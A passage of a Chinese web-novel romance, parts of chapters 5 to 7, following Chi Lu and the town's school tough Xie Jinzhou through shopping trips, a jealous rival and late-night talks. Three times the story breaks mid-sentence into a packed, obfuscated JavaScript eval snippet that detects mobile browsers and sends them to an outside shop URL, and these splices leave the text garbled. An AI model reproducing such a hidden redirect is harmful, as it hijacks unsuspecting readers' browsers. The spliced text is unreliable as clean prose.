驰路敷衍道:“没什么。” 谢劲舟见她有些艰难地起来,忽然想到了什么,走到她身边,撩起她的白色T恤,吓得驰路立马站起来:“谢劲舟,你耍什么流氓!” 昨天乱摸她的短裤口袋,今天要撩她衣服,耍流氓耍得如此明目张胆,可恶! 谢劲舟坐到床边,拉着她的手腕,神色缓和了几分:“坐下来,给我看看。” 驰路觉得这人真是可笑,他是不懂男女授受不亲,还是脑子有病? 她难以置信地看谢劲舟:“你要看什么?” “你背上是不是有伤?” “不用你管。” “刚才下手重了。”谢劲舟难得露出一丝愧意,“是不是把你弄疼了?” “你什么时候下手不重?”驰路说,“那点疼不算什么。” 后背的伤痕是新伤,前天烙下的,还不算严重。严重的时候,手臂上、背上、腿上都是淤青。 那帮人围堵她,在黑暗的巷子里,用鞭子狠狠地抽打她的后背,笑得猖狂,说这是送给她转学的礼物。 她厌恶这些伤痕,更厌恶在她身上烙下伤痕的那帮人。 如果说她完全无罪,好像并非如此。 这世上,万事万物皆有因果,她不过是食了曾用因种下的果。 “走吧。”谢劲舟站了起来,盯着她穿的短裤,“不换条裤子?” “不好看吗?” “随你。”谢劲舟瞥了眼她又白又笔直的双腿,“一天的翘班费,你给我补上。” “多少?”驰路倒是大方,“我加倍给你。” “一天一千。” “你抢钱呢!” 谢劲舟走出房间,关上门,那句“你快点下来”,被淹没在门后。 ……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560721|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等驰路收拾好下来时,看到谢劲舟正靠在门边玩手机,抬头看她时,满脸不耐烦:“属蜗牛的吗?” 驰路把散下来的头发扎了个高高的马尾,一甩,发尾的头发甩到了谢劲舟的脸上,香气扑了他满脸,还夹杂着少女的温软香气。 谢劲舟微微蹙起浓眉,眼睛里的神色晦暗不明。 驰路挑起魅惑的狐狸眼,用她那副特别的金属烟嗓说:“今天,我可以属于你。” 这样的女生,谢劲舟见多了,满嘴听不得一句真话。 但不知是不是驰路演技太好,她像朵傲然绽放的玫瑰,把所有的香气都飘进他的世界,让他分不清真假。 心脏猛然一跳,面上却还维持着他一贯的冷淡风。 他眼角往下一瞥,看到她换了早上的那件紧身短款白色背心,露出她白皙纤细的手臂,如果视线再往下看,便能看到她白皙的腰肢。 谢劲舟抬手往她那露出的腰肢里一探,摸到了她光洁滑嫩的皮肤,只要他的手再往上一点,他宽大的掌心便能覆盖住她所有的肌肤。 他没有这样做,只是揽住她的腰,把她往自己怀里一带,眼神冷漠:“驰路,你别跟老子玩这套,老子不吃!” * 罗子昂到的时候,恰好看到的便是这一幕,惊得他双眼瞪大,嘴巴大得可以塞下一个鸡蛋,生怕别人不知道似的,大声说:“舟爷,你什么时候搞上这个酷妞儿的?” 谢劲舟没被吓到,轻飘飘地松开驰路,从口袋里掏出一根烟,悠然地夹在修长指间吸着。 驰路看到刺猬头开着一辆大红色蹦蹦车来了。 罗子昂从车上跳下来,直奔谢劲舟,把两人打量一番,实在不解,挠挠脑袋,忽然想到什么,恍然大悟道:“舟爷,这妞儿不会就是你说的,要霸占你房间的人吧?” “她不叫妞儿。”谢劲舟拍了下罗子昂的脑袋,“她叫驰路。” 他看了看驰路,给她介绍罗子昂:“我哥们,罗子昂,大家都叫他罗刺猬。” “舟爷,人家也是有名有姓的好吧。”罗子昂笑嘻嘻道,“妹妹,你哥哥叫罗子昂,老子的子,昂首挺胸的昂。昨晚,误会,误会啊!你哥我认错人了,你别放心上。” 罗子昂跟驰路解释昨晚的事:“那是个夜黑风高夜,本来很适合抽个小烟、喝个小酒、泡个小妞儿,哥哥怎么也没想到有人偷东西竟然偷到了我这儿,把我钱包偷走了。我就去追啊,追啊追,就追上你了。后来,你也知道的……”罗子昂尴尬地挠了挠他那一头白色刺猬头。 谢劲舟并不关心罗子昂拦错人的事,瞪他:“什么哥哥妹妹的,你害不害臊。” 罗子昂两眼笑得眯成一条缝:“舟爷,我这算什么,论起骚来,你排第二,没人敢排第一。” 事已至此,驰路也不好再计较,说了句“没事”。 她感觉腰上还残留着谢劲舟的温度,干燥的、滚烫的,属于少年的炽热。 她喜欢穿超短衣,露出她年轻姣好的身体,但还没有谁大胆到可以明目张胆地摸她。 谢劲舟跟她见过的男生都不一样,好像能一眼看穿她的用意。 看来是遇到对手了,这偏僻小镇,看来也不是没有一点乐趣。 谢劲舟盯着驰路耳垂上的那枚蓝色蝴蝶耳环,俯身在她耳边说:“阿驰,你来说说,老子骚吗?” 声音很低,气息很热,钩子般,能将一池春水搅得汹涌翻腾。 5. 偷偷蹭红唇印 「被人抛弃后是什么滋味?总想抓住点什么,哪怕是幻影。」 ——《小蝴蝶的暗夜》 罗子昂的目光在他俩之间转了一圈,见他们完全没有搭理自己的意思,捏紧拳头,皱眉气道:“你们就没人关心关心我钱包的去向?” 得到的是异口同声的一句“不关心”。 “……”罗子昂无语凝噎,有种“老大不关心自己,老大要泡妞儿”的强烈错觉。 …… 不知道谢劲舟怎么想的,他把罗子昂也带上了,罗子昂开着蹦蹦车当司机,她跟谢劲舟坐后面,她实在困得厉害,坐上车就闭眼睡着了。 等驰路醒来时,发现自己靠在了谢劲舟的肩头,她没有立刻挪开脑袋,而是掀起眼皮去看他,他沉着冷静地望着前方。 她的鼻端有烟味、皂香味,还有一股强烈的男性荷尔蒙气息。 这是属于谢劲舟的味道,跟她昨晚睡的床的味道一样。 驰路刚想从他肩头神不知鬼不觉地挪开,结果听到罗子昂扭头说:“舟爷,你的肩膀不是金贵的吗,平时都不让我碰一下,现在怎么这么惯着驰路?” 驰路迅速地闭上眼,假装没醒,感到谢劲舟低头在看她,听到他说:“老子惯她?下辈子吧!” 驰路以为谢劲舟下一秒会推开她,或者有别的举动,结果,他什么都没做,依然维持原状,任由她靠着他的肩。 “舟爷,前面就到集市了,喊她起来吧。”罗子昂说。 “等你停下来再说。” 耳边一阵热热闹闹的声音,人声、车声、喇叭声,直往驰路耳朵里灌,她佯装未醒,在谢劲舟宽厚的肩膀上蹭了蹭,蹭下一个红唇印。 驰路悠悠然睁眼,坐直身体去看外面热闹的景象,完全没把谢劲舟当她人肉枕头当回事。 谢劲舟垂眸间看到了右肩上的红唇印,印在白色T恤上格外醒目,他的眉头紧紧一拧。 他讨厌这种外来的痕迹,像是对他世界的某种侵犯。 谢劲舟一把捏住她的脸颊,露出一股狠劲,声音冰冷:“再有下次,看老子怎么收拾你!” 他抬起大拇指,指腹往她丰满的唇上一扫,扫得指腹纹路里染了一片红:“衣服,给老子洗干净。” 驰路舔了舔唇角,舌尖轻轻掠过他的指腹,狐狸眼一眨,神色无辜至极:“我又不是故意的,洗不掉别怪我。” 舌尖湿哒哒的,明明只是蜻蜓点水的触碰,却让谢劲舟生出一丝异样,跟以往任何女生给他带来的都不一样,烦躁的、不安的,又是特别的。 罗子昂正想着把车停在哪儿,没注意到后面两人发生的小小插曲,等再回头时,看到两人一副谁都不搭理谁的模样。 这两人变脸怎么都如此之快? * 驰路下了蹦蹦车,还没进集市,便看到集市里人来人往,环境看起来脏乱,要让她在这里买生活用品,怎么可能? 再怎么说,她老爸老妈还是留给了她一笔费用的,虽然不能像之前一样一出手就是上千上万的,但几百块的床上用品还是买得起的。 七月的天,阳光炙热,晒得她皮肤发烫,她找了棵树,站在下面避暑,旁边是一卖枕巾的摊位。 驰路稍稍一瞥,明显的地摊货,她看不上。 “就这儿了,你们进去选吧。”罗子昂热得拿手当扇子扇风,“舟爷,我在这儿等你们。” “一起进去。”谢劲舟说,“你以为站这儿,就有人把你当鸡毛掸子买了?” “……”罗子昂气得哑口无言,想说的话,在舌尖上滚了几圈,最后又落了回去,谁让说他的是他的舟爷,他怼不起。 两人都往前走,驰路站着没动。 谢劲舟发现不对劲,一扭头,看到驰路还站在树下。 他没上前,直视她:“干吗不走?” 驰路嫌弃地扫视一圈:“能不能换个地方?” “你想去哪儿?” “有没有专卖店之类的?” 谢劲舟不耐,狠狠抽了口烟,转头朝罗子昂说:“走,换地方。” 罗子昂皱了皱眉:“去哪儿啊?” “去大小姐想去的地方。” …… 驰路去超市买了生活用品,罗子昂完全是劳力,两手都拎着满满当当的东西。 她只带了一套床品,到卖床品的地方挑选床品时,罗子昂累到不行,正躺在一张床上闭目养神。 谢劲舟站在她身旁,看着她挑挑拣拣,实在不耐烦:“有什么区别吗,需要挑这么久?” “你自己摸摸,厚度不同,花色不同,睡起来的感觉肯定不同。” “没发现。” “你不懂。”驰路煞有介事地教他,“这款纯棉的,这款真丝的,手感完全不同,你摸摸看。” 谢劲舟摸了摸,是不一样,标签上的价格更是千差万别。 这时,忙完的女店员走过来,见驰路正在看这款真丝的,热情介绍:“你们是要双人的吧,双人的,买这床合适,夏天用凉快,睡上面也很丝滑。” 女店员用看小情侣的眼神看着他俩,驰路问女店员:“你看他像我男朋友吗?” “像啊,一看就是。” “怎么看出来的?” “他的眼睛一直看着你。” “是。”驰路咬牙,眼里挤出一抹笑,“一直看着我,看我什么时候买好。” “这床小情侣买得可多了。”女店员笑着说,“买过的,反馈都很好。” 驰路看了看价格,四位数,在自己接受范围内:“拿两套。” 谢劲舟拿眼瞪她:“你疯了吧!” 女店员卖力推销:“这位帅哥,一分价格一分货,用过就知道什么叫丝滑。” “还德芙巧克力啊,纵享丝滑。”罗子昂从床上弹起来,到真丝床单上一躺,用手一摸,“舟哥,还真挺丝滑,买就买吧。” 罗子昂侧头一看,看到价格,惊道:“我艹,2999!!!” 驰路说夏天热,用真丝的凉快些。 罗子昂听到后,连连摇头:“驰大小姐,你是不知道这世上有种东西叫凉席吗?” 凉席这种久远的物品,她还是上小学的时候用过,这几年,她过惯了好日子,夏天喜欢开着空调,躺在真丝床单上,盖着空调被。 但被罗子昂一提醒,驰路考虑了下,最终买了一床纯棉床单,又买了一床凉席。 * 外面蝉鸣聒噪,日头正盛,热气一阵阵扑来。 驰路走出床品店,听到传来一声声口哨声,扭头看去,是一群理着各种非主流发型的男生,正猥琐地看着她。 “我们镇上什么时候来了个这么正的妞儿!”领头的男生染着黄发,文着大花臂,笑得见牙不见眼。 驰路见过这样的男生,好像方圆之地都是他的地盘,他能在这里为所欲为。 她不惧地迎着男生,目光很冷。 谢劲舟一转头,驰路看到黄发男生脸上的笑容顿时凝固,一脸尴尬,没再继续往前走,讪讪地跟谢劲舟说:“舟爷的女人啊,是小弟不识相。” 驰路去看谢劲舟,看到他的眼底如淋了冰。 黄发男生走上前说:“舟爷,也不跟我们介绍介绍啊。” 谢劲舟面带戾气:“滚!” 黄发男生带着其他人识相地撤了。 等人走远了,驰路问谢劲舟:“你是混道上的?” 即使他穿着宽松的白色T恤,依然能看得见他鼓起的胸肌,还有手臂上结实的肌肉。 “混道上?”谢劲舟微微眯眼,“你懂得还挺多。” 这问题罗子昂回答得特顺溜:“驰路,我跟你说,咱舟爷是芳町三中的校霸,当然,在道上谁都知道舟爷,谁都不敢惹咱舟爷。” 驰路啧啧两声:“校霸挺好。” 谢劲舟看她:“怎么好?” “巧了,我也是芳町三中的。”驰路挑了挑眉,“谢校友,以后是不是可以保护我?” “……”罗子昂正嚼着口香糖,差点吞进去。 驰路胆子真肥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560722|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨晚公然用腿踢他舟爷,今天又提出这样的问题,他俩的关系难道一夜之间就发生了翻天覆地的变化?他们命运的齿轮开始转动了? 这进展,跟航空火箭的速度有得一拼。 谢劲舟哼笑:“驰路,你白日做梦的本事超乎我的想象。” 驰路歪头看他:“怎么,不可以?” 谢劲舟拒绝得干脆:“做梦!” 驰路随口说说,见他一副不乐意的模样,也无所谓。 求人不如求己的道理,她是这几个月才深有体会。 之前她跟一帮狐朋狗友在一起时,她是大姐大,后面跟一帮小弟,她呼风唤雨,在他们的小圈子里混得风生水起。 自从她爸逃了,妈跑了,她身边的那帮小弟都另寻高枝了。 她以为的热闹,不过是金钱堆砌出来的假象;她以为的好友两肋插刀,不过是她风光时不作数的诺言。 “能不能回去了?”谢劲舟的一句话打断了驰路的思绪。 “我想想。”驰路想起自己那堆宝贝首饰,还需要买首饰盒,“带我去首饰店。” 谢劲舟停下,用不可思议的眼神看她:“你那么多首饰,还要买?” “有合适的也可以买。”驰路说,“不过,主要是想给它们找个家。” 她没有家了,她的宝贝们得有家。 * 谢劲舟跟着驰路逛了一上午,几乎耗尽了他全部的耐心,他什么时候跟人这样逛过街? 他想起了昨晚她双肩包里散落一地的首饰,想起了勾在他指间的腰链,最终还是把人带去了芳町镇最好的一家首饰店。 驰路看着琳琅满目的首饰,移不开脚步,正想让店员拿一对银色蝴蝶耳挂,却听到谢劲舟说:“买首饰盒。” “你不想看可以出去。” 谢劲舟出了店,靠在路边的树下抽烟。 罗子昂看中了几对耳钉,一一试戴,让驰路做参谋。 驰路指着其中两对:“这个酷,这个骚,看你想要什么样的了。” 罗子昂看了看价格,还都不贵,笑笑:“那就都要吧,一边戴一个,承包酷和骚,做这条街最靓的仔!” 驰路发现这货有些中二,忍住笑说:“你要是最靓的仔,那你舟爷呢?” 罗子昂夸起谢劲舟丝毫不吝啬:“他就是咱芳町镇最酷最帅的仔!看到他的耳桥了吧,他是我们这边头一个打的。” 驰路朝窗外一瞥,看着谢劲舟,他的指间燃烧星火,烟雾弥漫周身,右耳骨上的耳桥在阳光下熠熠发光。 她之前想过要不要打耳桥,做过一些功课后,才知道打耳桥,不仅会很疼,还会附赠一些风险,最终没打。 当初他是忍着怎样的疼痛打耳桥的? 驰路没让店员拿蝴蝶耳挂,而是让店员拿了几个首饰盒,正挑着,听到罗子昂说:“驰路,你看外面。” 驰路一扭头,透出还算干净的玻璃门,看到了谢劲舟身前站了个身材妖娆的女生,穿着一条粉色紧身连衣裙,勾勒出妩媚身姿。 女生从谢劲舟嘴里拿出烟,放进自己嘴里抽了一口,将烟吐在谢劲舟脸上。 女生似乎看到了谢劲舟肩头的红唇印,抬手抚了下,沿着他的肩头往下,一直到他胸口才停住。 谢劲舟面不改色地望着女生,任由她将手放在他鼓起的胸肌上。 罗子昂做起热心市民,跟驰路讲解:“千万别爱上咱舟爷,他可是我们芳町镇有名的浪子,喜欢他的女生跟你说一天一夜也说不完。他玩心大,女生对他来说,跟日抛眼镜一样。” 罗子昂甩了甩他那簇簇朝天冲的刺猬头,耍帅地跟驰路说:“我不介意你喜欢我,我这人没什么特点,最大的特点是,狠狠执行‘愿得一人心,白首不相离’。” 驰路忍住想吐的念头,看着罗子昂一本正经地胡说八道,心想,这人最大的特点是——脸特大。 她朝他露出一个不屑的假笑:“罗子昂,你看我就那么像不挑的人吗?” 一句话把罗子昂堵得哑口无言。 6. 这妞儿够劲儿 「每个不为人知的皮囊下,都藏着一颗复杂的灵魂。 如果你也是,我希望你的灵魂里装着自由和坚韧。」 ——《孤舟难行》 透过玻璃门,驰路望着两人在树下上演一出八点档的偶像剧,俊男靓女,挺养眼。 她匆匆地选了两个首饰盒,其他首饰一个没看,走出了首饰店。 刚走到门口,便看到靓女朝她看来,喷吐烟雾,媚眼如丝,勾人得很,却在看她的那一秒,所有的妩媚都退散,眼里像藏了一把刀片,朝她抛了过来。 驰路的眼神不退不躲,稳稳接住她刀片般不善的眼神,她反而笑了,走过去笑着问谢劲舟:“舟哥,不介绍一下?” 靓女只撇了驰路一眼,又转头看谢劲舟,她想把没抽完的烟塞他嘴里,只见谢劲舟毫不客气地将烟扔地上,用力撵灭。 靓女的面色忽然一沉,谢劲舟根本没在意,看着驰路:“驰路,余夏。” 驰路变身乖乖女,露出不会出错的笑容,朝余夏伸手:“你好,初来乍到,多多关照。” 余夏上下打量她,双手环胸,没有要跟她握手的意思:“长得还挺漂亮。”她眼睛往谢劲舟右肩上一瞥,言语间多了丝警告,“干的事不漂亮,不要有第二次!” 驰路顺着她的视线看去,谢劲舟右肩上的红唇印清晰可见,她的笑容更甚:“这不是不小心,靠在舟哥肩膀上睡着了。” 一句话,把两人的暧昧说尽,气得余夏面色发青,当着谢劲舟的面,她有气发不出来,只好挽上谢劲舟的胳膊,宣誓主权,声音格外娇软:“男朋友,晚上我等你。” 女生间暗里较劲,谢劲舟听得分明,之前余夏对他有各种亲密动作,他没觉得有什么,但现在弄得他有些烦躁。 他甩开余夏的手:“别碰我,热。” “男朋友,晚上去我那儿吹空调就不热了。”余夏把“男朋友”三个字咬得很重,朝谢劲舟抛媚眼,“我先走了。”走之前,不忘抛给驰路一记不友好的眼神。 驰路并没有把余夏放心上,抱着两个大的首饰盒朝蹦蹦车走去。 谢劲舟、罗子昂都走在她身前,两男生手里都是空的,没一人有眼力见儿帮她拿首饰盒。 驰路朝他俩的背影喊:“喂。” 罗子昂正沉浸在明天是先承包骚呢还是先承包酷、抑或是骚和酷一起承包的纠结中,完全没注意到驰路的喊声。 驰路看到谢劲舟停了下,以为他要转头,结果他只是停了一下,又迈着他那双大长腿往前走。 驰路的后背被太阳晒得热烘烘的,手里又抱着首饰盒,更热了,不得不喊他:“谢劲舟。” 谢劲舟终于转头看她:“叫什么?” “谢劲舟。” 谢劲舟又转头走了。 “谢劲舟。” 谢劲舟依然没回头。 “舟哥。” 谢劲舟停下来,这次终于走到她身边,二话不说拎起她怀里的袋子。 “……”看来这人是吃软不吃硬啊! * 上了蹦蹦车,驰路想起生锈的水龙头、淋浴头,软声跟谢劲舟说:“舟哥,你看洗手间地上的瓷砖坏了,洗脸盆裂了,水龙头、淋浴头也生锈了,要不要换下?” 这次喊“舟哥”没管用,谢劲舟冷着脸看她:“换什么换,你当是你家啊!不想住,滚别的地方去!” 谢劲舟今天的耐心,都在陪驰路购物中耗尽了,她现在提这档子事,他心里烦得很,语气也不好。 驰路哪知道谢劲舟想什么,只知道这人真是老虎的胡子摸不得啊。 谢劲舟咬了咬后槽牙:“不过……” 驰路以为事情有转机,目露希望之光:“不过什么?” “你该买个简易衣柜。” 驰路在脑中还原了下房间里的原貌,房间里有衣柜啊,不解道:“房间有衣柜。” “那是我的。” “所以?” “房间让给你了,你还想让老子把衣柜让你给?” 驰路把脑袋靠在车后面,蹦蹦车颠得她脑壳儿发疼,心里有什么东西几乎要呼之欲出。 一大堆不可描述的话语挤在她心间、梗在她喉头,最后只能握紧拳头憋了回去,咬牙瞪他:“谢劲舟,你还是人吗?” “老子不是人?”谢劲舟冷笑,“你不会希望我是你的救世主?” “你是我的救世主?”驰路笑了,眼里闪过一丝空茫,这世上谁会是谁的救世主? 她不再看谢劲舟,望着窗外热热闹闹的市井生活,有遛狗的大爷、买菜的大妈、打牌的中老年们…… 每个人都被时光洪流推着往前走,生而平凡,却还在烟火人间奋力地朝前奔跑。 光顾她青春的人,来来去去,曾热闹喧嚣,后消散冷寂,谁都不会为谁一直停留,谁也不会一直做谁的救世主。 十八岁的驰路,比同龄人知道,命运不会是一条笔直的线,而是起伏不定的山峦,你永远不知道下一步是要踏上高原,还是迈入低谷。 她跌入谷底了,她的星空被最亲的人焚毁了,她什么都没有了。 她还要期待着救世主将她拯救? 这样的梦,她不想做,也不能做。 * 这座小镇,夜来得晚,人却睡得早。十点多,家家户户的灯陆续熄灭了。 驰路正站在阳台上抽烟,抬头望着皎洁的月光、零落的星辰。 虽然房间里安装了落地扇,床上铺了凉席,但吹出的风是热的,凉席上也是热的。 扰人的蚊子还是嗡嗡嗡地在她周围乱飞,咬得她脖子上多了个包。 她很烦,本来困得要命,却没法安心入睡,只得起来。 吹来的夜风稍微带了点凉意,吹着她光洁裸露的双臂、大腿,才算舒服些。 她所在的阳台跟旁边房间的阳台连着,她没发现,另一个房间的门边倚靠着的谢劲舟。 谢劲舟悄无声息地望着被月光披了一层光的驰路,她有着修长的天鹅颈,往上扬时,一身傲骨显露无疑。 她不抽烟时,指间闲闲地夹着烟,侧脸极其漂亮,又泛着瓷白,不染纤尘,仿若在夜晚偷偷绽放的纯洁栀子花。 她的那双狐狸眼往上一挑,演绎出了几分靡艳,勾人的,诱惑的,宛若散发香气的红玫瑰。 谢劲舟第一次知道,原来在一个人身上,可以同时看到纯洁和妩媚。 驰路一转头,懒懒地靠在栏杆上,叼起烟,吸一口,隔着袅袅烟雾看他:“看够了吗?” 谢劲舟关上身后的门,刚从口袋里拿什么,没找到,拿出一根烟,走到驰路身边,抵着她嘴里的烟,重重吸了几口。 两人离得很近,气息几乎相抵。 属于少年人的气息滚烫,像一场悠长的白日梦。 驰路望着他头顶炸开的几根头发,宛若炸毛的恶犬。 月色映在他痞帅冷峻的脸上,越发衬得他轮廓分明。 待他唇间的烟冒出点点星火才移开,重重吸了一口,朝驰路吐了个好看的烟圈。 他的声音很淡:“怎么不睡?” 烟雾裹挟着他的气息,尽数喷洒在她脸上。 驰路没拂去这些呛人的烟雾,而是狠狠吸了一口,全部灌进自己的肺里:“要不要换一根试试?” 驰路想去屋里给他拿烟,却被谢劲舟拽住手腕:“别了,像我这样的人,抽这样的烟够了。” 她停住,又靠到栏杆上,直视谢劲舟,看到他眼里闪现出的一丝茫然:“你这样的人?” 他是芳町三中的校霸,成绩可能连大学都考不上,所以,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560723|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这样的人,就不够资格抽更好的烟,也没有翻身的机会,只配一辈子烂死在这里? “你以为我好到哪里去?”驰路弹了弹长长的烟灰,“谢劲舟,你跟我不同,不管怎样,你还有家,有家就有依靠,就有念想,只要手握一技之长,就能勇闯天下,你可以朝着更远方奔跑,可我……能跑去哪里。” 她的唇角往下压,骄傲如她,在深夜里少见的露出几许脆弱。 谢劲舟发现了她的异样,从她手里夺过烟,朝远处扔掉:“你的嗓子是不是抽烟抽坏了?以后少抽点。” 换做以前,谁要是敢拿她的烟,她铁定回怼几句,但在这个寂寥的夜里,她酸涩的心里却挤进来一抹暖意,她笑:“天生如此。” “去睡吧。”谢劲舟看到了她天鹅颈上缀着一个被蚊子咬过的包,新鲜的,红艳的,在她瓷白的肤色上格外醒目。 “你怎么不睡?” “今天换班,上夜班。” “不用给你翘班费了?” “不用。” “加个微信。” 谢劲舟掀了掀薄薄的眼皮,漫不经心道:“怎么,看上舟哥了?” “少来!”驰路媚眼往上一勾,“别以为是个女的,就会往你身上扑。” “最好是这样。”谢劲舟掏出手机给她。 驰路扫了二维码,发去好友申请。 他没有立刻加她,将吸完的烟扔下去,朝她挥手:“走了。” 驰路也朝他挥手:“拜!” 她看着他进了房间,低头看了看手机,他的微信头像是一张照片,照片里的少年骑着深蓝色的摩托车,驰骋在赛车场上,光看背影,都极其恣意张狂。 微信名:Z。 她给他转过去200块红包,红包备注:跑腿费。 结果,对方压根儿没收。 * 驰路打开电脑,打算先提前预习下高三的课程。 她是无根浮萍,能靠的只有自己,能抓住的只有高考这条独木桥,一旦桥断了,她的前途就毁了。 她坠落过,那是她有坠落的资格,但她现在只有不停向上攀爬,紧紧攀附学习这道高墙,才不至于从高空坠落。 之前,老爸飞黄腾达时,她想着混个经管系的文凭,等毕业了继承家业。 现在没有家业可以让她继承,她好像也没有必要一定要考什么经管系,那她的梦想是什么?以后要做什么? 她陷入一阵迷茫,撑着脑袋看电子版的语文目录,看得心不在焉。 咚咚咚,响起了敲门声,声音很轻,生怕打扰了别人。 这么晚了,会是谁? 这门驰路试过,锁坏了,根本锁不上,只要外面的人想开门,是能直接打开的。 这敲门的人,有最基本的礼貌。 驰路走到门边,问:“谁?” “我。”简单的一个字,冷冷的,冰块般,掉进这燥热的夏夜里。 驰路开了门,看到谢劲舟手里捧着一团纱一样的东西:“大半夜,干吗呢?” “装蚊帐。”谢劲舟见驰路没动,有些不耐烦,“不用?不用我走了。” 他作势要走,驰路一把将他拽进了房间:“来了,走什么。” 驰路帮着谢劲舟一起安装好了蚊帐,粉嫩的颜色,看起来新的:“你从哪儿弄来的蚊帐?” “这你不用知道。”谢劲舟将四角都检查了遍,看结实了才拍了拍手,“好了,睡之前记得把蚊子赶走再拉上。” 她发现,他好像并没有她想象中的那么冷漠。 驰路掀开蚊帐,坐到床沿,仰头看谢劲舟,眼睛一弯,睫毛一颤,面上浮出笑容:“感谢舟哥深夜送关怀,记得收红包。” “红包就不必了,你留着买腰链。” “……” 7. 你要赶我走吗? 「我没有魔法,没法劈开天光。 但我总期待着,有一天,我也是有魔法的。 帮我实现,有一个家的渴望。」 ——《小蝴蝶的暗夜》 谢劲舟走前,无意间瞥到她电脑上的语文目录,用难以置信的语气说:“你这么爱学习。” “学习让我快乐!”驰路双手撑在床上,身体往后仰,扬起她那精致光洁的天鹅颈,露出洁白牙齿,笑道,“你爸不是说了吗,让我辅导你的功课,如果你有这方面的需求,随时来找我,不收费,让你感受学习的乐趣。” 谢劲舟垂眸看驰路,看到她晃眼的笑容,还有她那双笔直又白得发光的长腿。 她只穿了件白色吊带,左右肩上都披了些粉色蚊帐,让她如置身樱花树下,而她是只绚丽蝴蝶,正振翅飞往他的世界。 天地间静悄悄,谁都不再说话,谁都有恃无恐地望着对方,空气中流动着说不清道不明的缱绻,宛若有一根细线将他们的视线紧紧锁住。 直到传来一阵咚的响声,撞破了这一刻的静谧,是门撞到墙上的声音。 驰路吓了一跳,从床上站起来,看向门边,看到扎着两根马尾辫的小女孩,正用那双跟谢劲舟相似的单眼皮瞪着她。 小女孩冷着脸,气道:“哥哥,你为什么要给她装蚊帐?” 驰路什么样的小女生没见过,但眼里藏刀、冷若冰霜的小女孩还是头一次见。 她风光时,谁见了她都对她笑意盈盈,不管那笑是真心还是假意,总没人对她冷眼。 入眠后,她梦见那个叫“谢林乔”的小女孩用剪刀把蚊帐一刀一刀剪碎,然后把碎片尽数狠狠地扔到她脸上,叫她滚,叫她别住在她家。 被梦魇缠住,她想醒,却发现怎么也醒不来,只能任由那些碎片将她掩埋,从薄薄一层,再到厚厚几层,如同粉色雪花似的,将她完全盖住,她再也无法呼吸。 “走开,走开……”驰路闭着眼,挥舞着双手,竭力地想要跟斩断梦魇,却无能为力,声音几乎都快喊哑了。 直到有人将她叫醒:“驰路,醒醒。” 声音轻轻的,似近在耳畔,又似远在天边,朦朦胧胧中,她睁眼,看到了一张冷白痞帅的脸。 不知是不是她出现了错觉,驰路看到谢劲舟的脸上露出些许紧张和关切。 这是梦吧?这个浑蛋,怎么会来关心她? 如果是场梦,就让这场梦长一点吧! 驰路用力抱住谢劲舟,下巴抵着他宽厚的肩膀,声音颤颤地说:“不要赶我走,不要赶我走……” 她哪里还有平日里的骄横,完全变了个样,像悬崖边岌岌可危的野草,风一吹就要坠落。 谢劲舟放在身侧的手,停留许久,终于抬起来,将她抱住,抬手一下一下拍着她的后背:“不会赶你走,你就住这里。” 驰路额头上的冷汗落在脸上,顺着脸颊滴落,落到她精致的下巴上,她把汗蹭到谢劲舟的衣服上,边蹭边说:“谢劲舟,你好像也没那么坏。” “驰路,”谢劲舟扳过驰路的肩头,让她看着自己,“我不是什么坏人,但我也不是什么好人,你对我最好保持清醒的认知。” “这……”为什么眼前的谢劲舟如此真实?驰路抬手捏了捏谢劲舟紧实的脸颊,“这是梦吗?” “别捏了,疼。”谢劲舟拿开她的手,“你以为这是梦?” 驰路发现这不是梦后,连忙往后挪了下,垂头懊恼,刚才她对他都做了什么? 谢劲舟站了起来,看着驰路:“刚听你说了些梦话,就进来看看。” 驰路抬头看他,对上他那双漠然又深邃的眼眸:“我说了什么?”眼睛下方有一圈黑眼圈。 谢劲舟一本正经道:“舟哥,你别离开我。” 驰路一惊,睁大眼睛:“怎么可能!” “怎么可能?”谢劲舟勾起一边嘴角,露出一抹坏笑,“要不然你刚才怎么抱我。” 她到底说了什么?她怎么也想不起来。但看谢劲舟的样子,好像没有说谎,为什么要说出那样的话,还被他听到了,真是太丢人了! 她要赶紧离开这个尴尬到脚趾抠地的地方,掀开蚊帐,从床上下来:“我去洗漱。” 跟谢劲舟擦身而过时,光洁的手臂堪堪擦过他手臂上鼓起的肌肉,硬硬的,紧实的,心忽然突突猛跳几下。 …… 她之前还是大姐大时,身边追求她的男生无数,她从来都拒绝干脆。 安然问过她:“那么多帅哥,怎么一个都看不上?” 也许那时年纪还小,对爱情还不开窍;也许那时老爸管得太严,尤其是在交男朋友方面,跟她屡次说,要是她敢交男朋友,会断了她的一切经济来源。 